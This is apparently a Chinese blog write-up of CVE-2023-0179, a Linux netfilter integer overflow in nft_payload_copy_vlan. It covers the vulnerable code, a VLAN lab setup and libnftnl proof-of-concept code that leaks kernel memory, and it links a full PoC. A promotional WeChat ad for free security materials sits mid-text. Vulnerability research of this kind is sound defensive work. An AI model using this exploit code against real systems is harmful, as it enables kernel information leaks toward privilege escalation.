前言
Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(Network Address Translation,NAT)、数据包过滤等功能。
漏洞成因
漏洞发生在nft_payload_copy_vlan函数内部,由于计算拷贝的VLAN帧的头部的长度时存在整型溢出,导致了拷贝超出头部长度的数据。
代码细节如下:
nft_payload_copy_vlan- #define VLAN_HLEN 4 /* The additional bytes required by VLAN
- * (in addition to the Ethernet header)
- */
- #define VLAN_ETH_HLEN 18 /* Total octets in header. */
-
-
- /*
- * d表示目的寄存器
- * skb通常是网络协议栈的缓存区
- * offset为数据包的偏移量
- * len为拷贝的长度
- */
- static bool
- nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
- {
- int mac_off = skb_mac_header(skb) - skb->data; //获取以太网帧头部偏移
- u8 *vlanh, *dst_u8 = (u8 *) d;
- struct vlan_ethhdr veth;
- u8 vlan_hlen = 0;
-
- /*
- IEEE 8021Q协议是对标准的以太网帧进行修改,加入了VLAN tag
- IEEE 8021AD协议则是加入双重VLAN tag,一个用于内网,一个用于外网
- */
- if ((skb->protocol == htons(ETH_P_8021AD) ||
- skb->protocol == htons(ETH_P_8021Q)) &&
- offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)
- vlan_hlen += VLAN_HLEN;
-
- vlanh = (u8 *) &veth;
- if (offset < VLAN_ETH_HLEN + vlan_hlen) { //offset < 18 + 4
- u8 ethlen = len; //拷贝的长度
-
- if (vlan_hlen &&
- skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0)
- return false;
- else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth))
- return false;
-
- if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
- ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
- //ethlen = ethlen - (offet + len - VLAN_ETH_HLEN + vlan_hlen);
- //ethlen = ethlen - offset - len + VLAN_ETH_HELN - vlan_hlen;
- //ethlen = VLAN_ETH_HELN - vlan_hlen - offset
- //ethlen = 14 - offset
- //如果offset > 14 则会造成 ethlen溢出
-
-
- memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); //这里实际上是拷贝vlan帧的头部,但是如果ethlen发生了溢出则会拷贝多余的字节
-
- len -= ethlen;
- if (len == 0)
- return true;
-
- dst_u8 += ethlen;
- offset = ETH_HLEN + vlan_hlen;
- } else {
- offset -= VLAN_HLEN + vlan_hlen;
- }
-
- return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0;
- }
-
复制代码 该函数实际的作用就是从数据包中将VLAN头拷贝到指定的寄存器中进行存储,函数开始会对数据包的协议进行校验,若是为IEEE 8021Q或IEEE 8021AD协议则说明以太网帧中增加了VLAN TAG,那么再拷贝VLAN头时需要将TAG也计算在内。在拷贝之前需要先计算待拷贝的长度,因此会进行一个长度的校验,若偏移加长度超过了VLAN帧的头部长度时,就需要对拷贝长度进行一个校准,防止拷贝过多的数据,但是这个校验有问题,通过上述推导的公式可以发现,当offset大于14且小于22并且offset+len的值大于22时,ethlen就会发生溢出,这是因为ethlen本身为无符号整型,当得到结果为负数时,会导致ethlen变成非常大。
这里有一个需要注意的点,在计算时ethlen时会加上vlan_hlen而不是减掉是因为在拷贝的时候会默认先减去vlan_hlen。
那么当offset = 19而len = 4时,则offset + len = 23 > 22,因此会进入if语句内部,接着ethlen = 14 - 19 = -5(发生溢出)
环境搭建
这里采用的是qemu + linux6.16内核进行环境的搭建。 作者创建虚拟网络设备的脚本如下
https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh- #!/bin/sh
-
- # create the peer virtual device
- ip link add eth0 type veth peer name host-enp3s0
- ip link set host-enp3s0 up
- ip link set eth0 up
- ip addr add 192.168.137.137/24 dev host-enp3s0
- # add two vlans on top of it
- ip link add link host-enp3s0 name vlan.5 type vlan id 5
- ip link add link vlan.5 name vlan.10 type vlan id 10
- ip addr add 192.168.147.137/24 dev vlan.10
- ip link set vlan.5 up
- ip link set vlan.10 up
- ip link set lo up
- # create a bridge to enable hooks
- ip link add name br0 type bridge
- ip link set dev br0 up
- ip link set eth0 master br0
- ip addr add 192.168.157.137/24 dev br0
复制代码 可以看到作者在漏洞利用之前需要创建一些虚拟的网络设备,例如虚拟设备对,vlan接口以及网桥。这是因为想要进入nft_payload_copy_vlan函数的执行流程,需要数据包在vlan上进行传输才可以。代码如下所示:- void nft_payload_eval(const struct nft_expr *expr,
- struct nft_regs *regs,
- const struct nft_pktinfo *pkt)
- {
- const struct nft_payload *priv = nft_expr_priv(expr);
- const struct sk_buff *skb = pkt->skb;
- u32 *dest = ®s->data[priv->dreg];
- int offset;
-
- if (priv->len % NFT_REG32_SIZE)
- dest[priv->len / NFT_REG32_SIZE] = 0;
-
- switch (priv->base) {
- case NFT_PAYLOAD_LL_HEADER: //数据链路层
- if (!skb_mac_header_was_set(skb)) //判断数据包是否为mac头
- goto err;
-
- if (skb_vlan_tag_present(skb)) { //判断数据包是否有vlan标志
- if (!nft_payload_copy_vlan(dest, skb,
- priv->offset, priv->len))
- goto err;
- return;
- }
- offset = skb_mac_header(skb) - skb->data;
- break;
- ...
复制代码 因此为了使得程序进入漏洞函数,需要建设特定的网络环境。而该网络拓扑与Docker的很像,具体内容可以参考https://cloud.tencent.com/developer/article/1835299。网络拓扑大致如下,使用虚拟设备对的作用时,一端接口作为数据的输入而另一端接口作为数据的流出,那么后续进行hook的时候只需要hook一个点就行,设置vlan接口是因为只有vlan的数据包才能够进入nft_payload_copy_vlan函数的流程内,而在vlan.5上再次创建一个vlan接口是因为使得数据包能够加入双层vlan tag,这样可以通过IEEE 8021AD协议传输。
[img=720,371.2022630834512]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415926.png[/img]
但是我在qemu的环境调试时数据包的协议都不是IEEE 8021AD而是IEEE 8021Q,在查询资料https://blog.csdn.net/m0_45406092/article/details/118497597发现,可以指定vlan的类型为IEEE 8021AD,因此修改了一下脚本。- #!/bin/sh
-
- # create the peer virtual device
- ip link add eth32 type veth peer name host-enp3s0
- ip link set host-enp3s0 up
- ip link set eth32 up
- #ip addr add 192.168.137.137/24 dev host-enp3s0
- # add two vlans on top of it
- ip link add link host-enp3s0 name vlan.5 type vlan id 5
- ip link add link vlan.5 name vlan.10 type vlan protocol 802.1ad id 10
- #ip addr add 192.168.147.137/24 dev vlan.5
- ip link set vlan.5 up
- ip link set lo up
- ip link set vlan.10 up
复制代码 指定协议之后,数据包的协议也被为IEEE 8021AD了
[img=720,350.56947608200454]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415927.png[/img]
[img=720,339.406]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415928.png[/img]
至此环境就搭建完毕了。这里需要注意的是在编译内核的时候由于需要用到vlan、bridge以及IEEE 8021Q,因此需要开启这些模块,否则在创建设备时会出现unknow的错误。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
漏洞验证
可以使用libnftnl库进行nftableshttps://github.com/tklauser/libnftnl/tree/master进行规则的设置
nftables需要设置table -> chain -> rule -> expr,由于我们需要捕获在虚拟设备对上的数据包,因此可以设置协议类型为NFPROTO_NETDEV,该协议类型是处理来自入口的数据包并且配合ingress的HOOK点以及chain可以指定HOOK点在具体的设备上,那么配合我们搭建的网络设备环境,可以指定HOOK点为以太网口(eth32)。- ...
- if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL))
- {
- perror("[-] create table");
- exit(-1);
- }
-
- /* 2. create chain */
- printf("[2] create chain\n");
- struct unft_base_chain_param up;
- up.hook_num = NF_NETDEV_INGRESS;
- up.prio = INT_MIN;
- if (create_chain(nl, table_name, chain_name, NFPROTO_NETDEV, &up, &seq, NULL, dev_name))
- {
- perror("[-] create chain");
- exit(-1);
- }
- ...
复制代码 然后再设置payload的表达式触发漏洞,我们将offset设置为19,len设置为5- rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19, 4, NFT_REG32_00);
复制代码 可以看到我们成功将ethlen的值设置为了251的值,该值是远远超出了以太网帧头部的长度了。
[img=720,360.5687203791469]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415929.png[/img]
可以看到寄存器中的值中除了以太网帧头部的数据,还有一些额外的数据了。
[img=720,223.422]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415930.png[/img]
为了将这些数据打印出来,则需要利用nftables中自带的set(集合),集合实际是一组数据,例如我们需要过滤几个ip地址,就能将这些ip地址作为一个集合作为过滤的名单,而集合中有一种属性是map即以键值对的形式存储值,而这些值实际是可以通过寄存器进行添加的,那么我们就将上述寄存器的值添加到集合中使用nft list ruleset的命令就可以再屏幕中获取内核的信息了。创建集合的代码如下:- //创建集合
- struct nftnl_set* build_set(char* table_name, char* set_name, uint16_t family)
- {
- struct nftnl_set *s = NULL;
-
- s = nftnl_set_alloc();
-
- if (s == NULL) {
- perror("OOM");
- exit(EXIT_FAILURE);
- }
-
- nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
- nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
- nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
- nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4);
- /* See nftables/include/datatype.h, where TYPE_INET_SERVICE is 13. We
- * should place these datatypes in a public header so third party
- * applications still work with nftables.
- */
- nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); //以16进制的形式存储数据
- nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4);
- nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);//以16进制的形式存储数据
- nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
- nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP); //以map存储数据
-
- return s;
- }
复制代码 在创建完集合后,往集合里面添加数据是通过表达式完成的,而动态的添加以及删除集合中的元素则是通过dynset表达式进行处理,添加表达式代码如下:- void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data)
- {
- struct nftnl_expr *expr = nftnl_expr_alloc("dynset");
- nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); //需要指定添加元素的集合名称
- nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); //指定操作为添加操作
- nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);
- nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); //键
- nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);//值
- nftnl_rule_add_expr(r, expr);
- }
复制代码 这里需要注意的是,我们指定了捕获数据包的网口,因此数据包需要途径该网口才能够捕获数据包,下面是作者使用的数据包发送的代码,首先是绑定发送数据包的端口为vlan.10,由于vlan.10是在vlan.5上创建的,因此从vlan.10出去的数据包会被打上双层vlan tag,并且vlan.5是在host-enps32上创建的,而host-enps32又是与eth32构成虚拟设备对,因此数据包最终会从eth32发出并且携带双重的vlan tag从而进入nft_payload_copy_vlan的函数内部,触发漏洞。- int send_packet()
- {
- int sockfd;
- struct sockaddr_in addr;
- char buffer[] = "This is a test message";
- char *interface_name = "vlan.10"; // double-tagged packet
- int interface_index;
- struct ifreq ifr;
- memset(&ifr, 0, sizeof(ifr));
- memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));
-
- sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- if (sockfd < 0) {
- perror("[-] Error creating socket");
- return 1;
- }
-
- // Set the SO_BINDTODEVICE socket option
- if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof(ifr)) < 0) {
- perror("[-] Error setting SO_BINDTODEVICE socket option");
- return 1;
- }
-
- memset(&addr, 0, sizeof(addr));
- addr.sin_family = AF_INET;
- addr.sin_addr.s_addr = inet_addr("192.168.123.123"); // random destination
- addr.sin_port = htons(1337);
-
- // Send the UDP packet
- if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
- perror("[-] Error sending UDP packet");
- return 1;
- }
-
- close(sockfd);
- return 0;
- }
复制代码 可以看到最终完成了内核信息的泄露。
[img=720,245.64705882352942]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415931.png[/img]
完整poc:https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179/poc.c
漏洞利用
利用JUMP调整stacksize
设置寄存器的值
利用nft_payload_copy_vlan触发漏洞拷贝payload
更多网安技能的在线实操练习,请点击这里>>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |